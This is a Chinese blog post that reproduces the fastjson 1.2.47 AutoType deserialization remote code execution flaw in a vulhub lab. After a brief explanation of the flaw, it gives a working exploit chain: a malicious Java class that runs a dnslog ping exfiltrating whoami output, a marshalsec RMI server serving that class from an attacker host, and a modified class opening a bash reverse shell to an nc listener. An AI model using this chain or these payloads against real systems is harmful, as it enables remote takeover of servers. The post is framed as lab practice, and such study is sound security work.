前言
现在java站越来越多啦,面试也基本上全部问的都是java呀,加油呀
什么是json?
借用人家的表达:“.json是用来存储简单的数据结构和对象的文件。json是一种轻量级的数据交换格式,基于ECMAScript(欧洲计算机协会制定的js规范)的一个子集,采用完全独立于编程语言的文本格式来存储和表示数据,用于许多Web应用程序来进行数据交换。
什么是fastjson?
“fastjson 是一个java语言编写的高性能且功能完善的JSON库,它采用一种“假定有序快速匹配”的算法,把JSON Parse 的性能提升到了极致。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。 FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。”
漏洞原理
具体分析可以查看该篇文章:http://www.anquanke.com/post/id/181874
引进了AutoType功能,fastjson在对json字符串反序列化的时候,会读取到type到内容,将json内容反序列化为java对象并调用这个类的setter方法。
因此,攻击者就可以利用这个机制,自己构造json字符串,然后使用@Type标记指定一个自己想要使用的攻击类库。然后fastjson会自己构造的json字符串反序列化然后执行。
类似于如此:
![图片[1]-vulhub漏洞复现之fastjson1.2.47反弹shell-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/04/d2b5ca33bd205127.png)
流程:
- 攻击者访问目标网站,通过burpsuite抓包,以json格式添加
JdbcRowSetImpl 恶意类信息发送给目标机。
- 目标机对json反序列化时候,会加载执行攻击者构造的信息(访问rmi服务器),rmi给靶机下发命令。
- 靶机得到rmi的服务的相应,去执行反弹shell类。
漏洞复现
环境准备
这里我们使用的是vulhub提供的环境:
![图片[2]-vulhub漏洞复现之fastjson1.2.47反弹shell-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/04/d2b5ca33bd205403.png)
启动环境
docker-compose up -d
浏览器访问IP:8089端口
![图片[3]-vulhub漏洞复现之fastjson1.2.47反弹shell-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/04/d2b5ca33bd205506.png)
出现如此,就是环境正常启动啦。
验证漏洞存在方式
使用burp抓包,并修改发包方式为POST,Content-Type: application/x-www-form-urlencoded更改为:Content-Type: application/json
{
"name":"anquanclub",
"age":18
}
![图片[4]-vulhub漏洞复现之fastjson1.2.47反弹shell-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/04/d2b5ca33bd210928.png)
查看响应包,如果有修改,当然也可以乱输,查看报错也是可以的,如果出现那就是有漏洞的哦,当然也可以ping一下dnslog的
![图片[5]-vulhub漏洞复现之fastjson1.2.47反弹shell-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/04/d2b5ca33bd211315.png)
dnslog检测
目标环境是openjdk:8u102,这个版本没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以简单利用RMI进行命令执行。
需要先配置java环境:ubuntu安装java8:参考文章:http://www.cnblogs.com/jaysonteng/p/13453244.html
sudo apt install openjdk-8-jdk
1.保存以下代码为 TouchFile.java文件然后用javac编译成.class文件
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/sh","-c","ping user.'whoami'.xaxnby.dnslog.cn"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
编译成class文件
javac TouchFile.java
![图片[6]-vulhub漏洞复现之fastjson1.2.47反弹shell-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/04/d2b5ca33bd212028.png)
2. 安装好环境mvn和marshalsec都在服务器内下载好!
marshalsec下载:
git clone http://github.com/mbechler/marshalsec.git
mvn下载:apt install mvn 或者 apt install maven
然后用mvn编译生成marshalsec.jar包(或者可以直接有包直接用就ok就不用编译了)
mvn clean package -DskipTests
出现这个就是ok啦
![图片[7]-vulhub漏洞复现之fastjson1.2.47反弹shell-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/04/d2b5ca33bd212320.png)
3.把生成的.clsss文件传到公网wps的marshalsec/target目录下
然后通过python3启动一个简单的http服务:python3 -m http.server
![图片[8]-vulhub漏洞复现之fastjson1.2.47反弹shell-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/04/d2b5ca33bd212400.png)
4.使用marshalsec项目在wps里启动rmi服务并且监听端口远程加载TouchFile.class类。
进入target目录
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://IP:8000/#TouchFile" 9001
![图片[9]-vulhub漏洞复现之fastjson1.2.47反弹shell-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/04/d2b5ca33bd212514.png)
5.抓包然后修改
![图片[10]-vulhub漏洞复现之fastjson1.2.47反弹shell-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/08/d2b5ca33bd064732.png)
请求发包之后,刚刚的python,以及开启的rmi都会有请求日志:
![图片[11]-vulhub漏洞复现之fastjson1.2.47反弹shell-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/04/d2b5ca33bd212744.png)
![图片[12]-vulhub漏洞复现之fastjson1.2.47反弹shell-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/04/d2b5ca33bd212832.png)
![图片[13]-vulhub漏洞复现之fastjson1.2.47反弹shell-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/04/d2b5ca33bd212846.png)
反弹shell
同样进过上述步骤,只不过我们这里更改命令:
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/IP/1888 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
主机监听 1888端口
nc -lvp 1888
重复上述步骤,然后就可以成功反弹shell啦
![图片[14]-vulhub漏洞复现之fastjson1.2.47反弹shell-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/04/d2b5ca33bd213058.png)










请登录后查看评论内容